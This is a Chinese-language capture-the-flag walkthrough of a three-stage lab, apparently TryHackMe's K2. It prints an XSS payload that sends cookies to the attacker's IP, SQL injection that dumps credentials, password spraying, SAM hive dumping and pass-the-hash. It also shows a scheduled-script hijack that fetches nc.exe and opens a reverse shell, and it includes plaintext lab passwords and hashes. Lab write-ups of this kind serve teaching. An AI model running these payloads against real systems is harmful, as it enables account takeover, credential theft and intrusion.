Base Camp

首先进行端口扫描和目录扫描对k2.thm 是个静态页面也没啥关键信息

image-20241120163843364

试着爆破子域名,使用fuff

1
ffuf -w D:\tools\DICT\PasswordDic\域名字典\subnames-9.5w.txt -u http://k2.thm/  -H "HOST:FUZZ.k2.thm"  -fw 811

image-20241120164312180

接着对域名和ip绑定

image-20241120164354363

访问两个页面 前面内容大差不差

image-20241120164450089

admin登录不进去 我们先注册个用户普通用户进去

进去之后是个文本框

image-20241120164609353

抓包测试一下看眼参数,先简单测试一下sql注入好像没有

image-20241120165310813

接着测试xss,在本地先启一个python服务

1
python -m http.server 80

插入xss语句

1
2
<script src="http://10.11.112.0/test"></script>
<script src="http://10.11.112.0/tesaaat"></script>

收到回显信息

image-20241120165638372

Cooke中有jwt

image-20241120165734263

xss打cookie 拿管理员cookie 登录管理员的账户

1
<script>location.href = 'http://10.11.112.0/Stealer.php?cookie='+document.cookie</script>

遇到了waf

image-20241120170223660

拼接字符串绕过一下

1
<script>var a='coo'+'kie';location.href = 'http://10.11.112.0/Stealer.php?cookie='+document[a]</script>

image-20241120170430967

拿到cookie

1
session=eyJhZG1pbl91c2VybmFtZSI6ImphbWVzIiwiaWQiOjEsImxvZ2dlZGluIjp0cnVlfQ.Zz2mDA.AFoaTxXB-4wtIweMsTBG4e9VZg0

接着我们带上cookie去访问admin的后台

image-20241120170633302

查询功能点测一测sql注入

image-20241120193838090

加‘直接爆500 加上注释符号正常,存在sql注入

image-20241120193927655

sqlmap跑一下试试(不知道为啥sqlmap出不来)

手注 得到一些用户密码

1
title=' UNION SELECT 1,2,group_concat(admin_username,':',admin_password) FROM admin_auth -- -
1
james:Pwd@9tLNrC3!,rose:VrMAogdfxW!9,bob:PasSW0Rd321,steve:St3veRoxx32,cait:PartyAlLDaY!32,xu:L0v3MyDog!3!,ash:PikAchu!IshoesU!

试着用注出来的密码远程登录一下

image-20241120210317894

image-20241120210353330

拿到user的flag

查日志文件找rose的相关信息

image-20241120210530943

找到了密码

因为james权限较低试着切换到rose的用户能不能权限搞一点

image-20241120210641106

密码不太对,试着拿密码登录root的账户,直接拿到root权限

image-20241120210752784

到rose用户目录下看其命令得到rose密码

image-20241120211033713

image-20241120211059684

Middle Camp

首先扫描端口

image-20241120092327583

对服务进行细致扫描

1
nmap -sC -sV -p 53,139,88,135,445,3268,3389,9389  -Pn  k2.thm

image-20241120092659284

对该台主机进行绑定

结合之前收集到到的用户,做一个简单的用户名字典,枚举用户名

1
2
3
j.blod r.bud jamesb rose.b roseb james.b jbud rbud

kerbrute.exe userenum -d k2.thm --dc 10.10.155.99 D:\tools\yonghu.txt

image-20241120094151215

上一台机器上拿到了密码,有可能密码复用,尝试密码喷洒

1
kerbrute.exe  passwordspray --dc 10.10.155.99  -d k2.thm D:\tools\yonghu.txt "vRMkaVgdfxhW!8"

image-20241120094548336

之前扫端口开着5985端口,尝试利用winrm连接

1
evil-winrm -i 10.10.155.99 -u r.bud -p 'vRMkaVgdfxhW!8'

image-20241120095113136

到user目录下可查看都有哪些用户完成问题二

查看note_to_james.txt 说了 james的密码不符合规范在原有基础上加了数字和字母,我们用脚本生成一个密码字典

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import itertools

# Define the base password
base_password = "rockyou"

# Define the range of numbers and special characters to be added
numbers = '0123456789'
special_chars = '!@#$%^&*'

# Generate all combinations of numbers and special characters
combinations = list(itertools.product(numbers, special_chars))

# Generate all possibilities by adding the number and special character before or after the base password
passwords = []

for num, special in combinations:
# Add number and special character before the base password
passwords.append(f"{num}{special}{base_password}")
passwords.append(f"{special}{num}{base_password}")

# Add number and special character after the base password
passwords.append(f"{base_password}{num}{special}")
passwords.append(f"{base_password}{special}{num}")

# Print out all generated passwords
for password in passwords:
print(password)

然后去爆破James的密码 j.bold@k2.thm:#8rockyou

image-20241120095925768

接着尝试winrm登录主机看看什么信息,发现该用户没有远程登录权限

使用 bloodhound收集一下信息

1
bloodhound-python -ns 10.10.155.99 -dc K2Server.k2.thm -u j.bold -p "#8rockyou"  --zip -c ALL -v -d k2.thm

image-20241120120353032

可以通过 j.bold 修改j.smith的账号密码

1
net rpc password "j.smith" "password123@" -U "k2.thm"/"j.bold"%"#8rockyou" -S "10.10.50.61"

继续尝试winrm登录

1
evil-winrm -i 10.10.50.61  -u j.smith -p password123@

image-20241120122351111

whoami /priv 查看权限

image-20241120122649201

ackup Operators 组的成员可以备份和还原计算机上的所有文件,而不管保护这些文件的权限如何。Backup Operators 还可以登录和关闭计算机。无法重命名、删除或移除此组。默认情况下,此内置组没有成员,它可以在域控制器上执行备份和还原操作。
使用以下命令,我们保存这些哈希值并使用 evil-winrm 下载配置单元

1
2
3
4
reg save hklm\sam c:\Windows\Tasks\SAM
reg save hklm\system c:\Windows\Tasks\SYSTEM
download c:\Windows\Tasks\SAM
download c:\Windows\Tasks\SYSTEM

通过这两个配置文件 然后dump hash

1
impacket-secretsdump   -sam sam -system system LOCAL

image-20241120161349081

通过pth 以高权限登录

1
evil-winrm -i 10.10.36.204  -u administrator -H '9545b61858c043477c350ae86c37b32f'

image-20241120162944248

The Summit

第一步扫描端口

image-20241120233553206

没有web服务,依旧是一个域内机器

image-20241120233839777

将K2RootDC.k2.thm 加入host,然后枚举用户名

image-20241120234307098

用上个机器的hash pth到这台机器的admin试试 admin不成功,但是j.smith成功登陆了

到C:\Scripts> 目录下有一个backup.bat的文件 是一个复制的命令我们查看一下权限

image-20241121104930128

没有权限,但是对文件夹有权限,backup的命令过一段时间就会执行

我们上传nc反弹个shell回来

1
2
3
4
5
6
7
curl http://10.11.112.0:8080/nc.exe -o c:\windows\system32\tasks\nc.exe
icacls C:\Windows\System32\Tasks\nc.exe /grant Everyone:F

Set-Content -Path "C:\Scripts\backup.bat" -Value "C:\Windows\System32\Tasks\nc.exe
10.11.112.0 4440 -e powershell"

nc -lvnp 4440
1
2
3
收到会话
PS C:\Windows\system32> whoami
k2\o.armstrong
1
dir \\10.11.112.0\test\

responder -I thun0

image-20241121124712204

1
o.armstrong::K2:6f2d421690f9bf6f:1376FD55162780B2E87A76EED087C7EE:01010000000000008056CC200F3CDB01A8FEF404999B03940000000002000800310038004D00450001001E00570049004E002D0057003000480057004C0058004A00590053004600390004003400570049004E002D0057003000480057004C0058004A0059005300460039002E00310038004D0045002E004C004F00430041004C0003001400310038004D0045002E004C004F00430041004C0005001400310038004D0045002E004C004F00430041004C00070008008056CC200F3CDB010600040002000000080030003000000000000000000000000021000002C006BF8AC87A9C609AC567291FDB01A5D4968EA07E6D5E9B6BE8B9BF54E3840A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310031002E003100310032002E0030000000000000000000

我们试着用hashcat 破解一下

1
hashcat armstrong.hash /usr/share/wordlists/rockyou.txt

破解密码之后打基于资源的约束性委派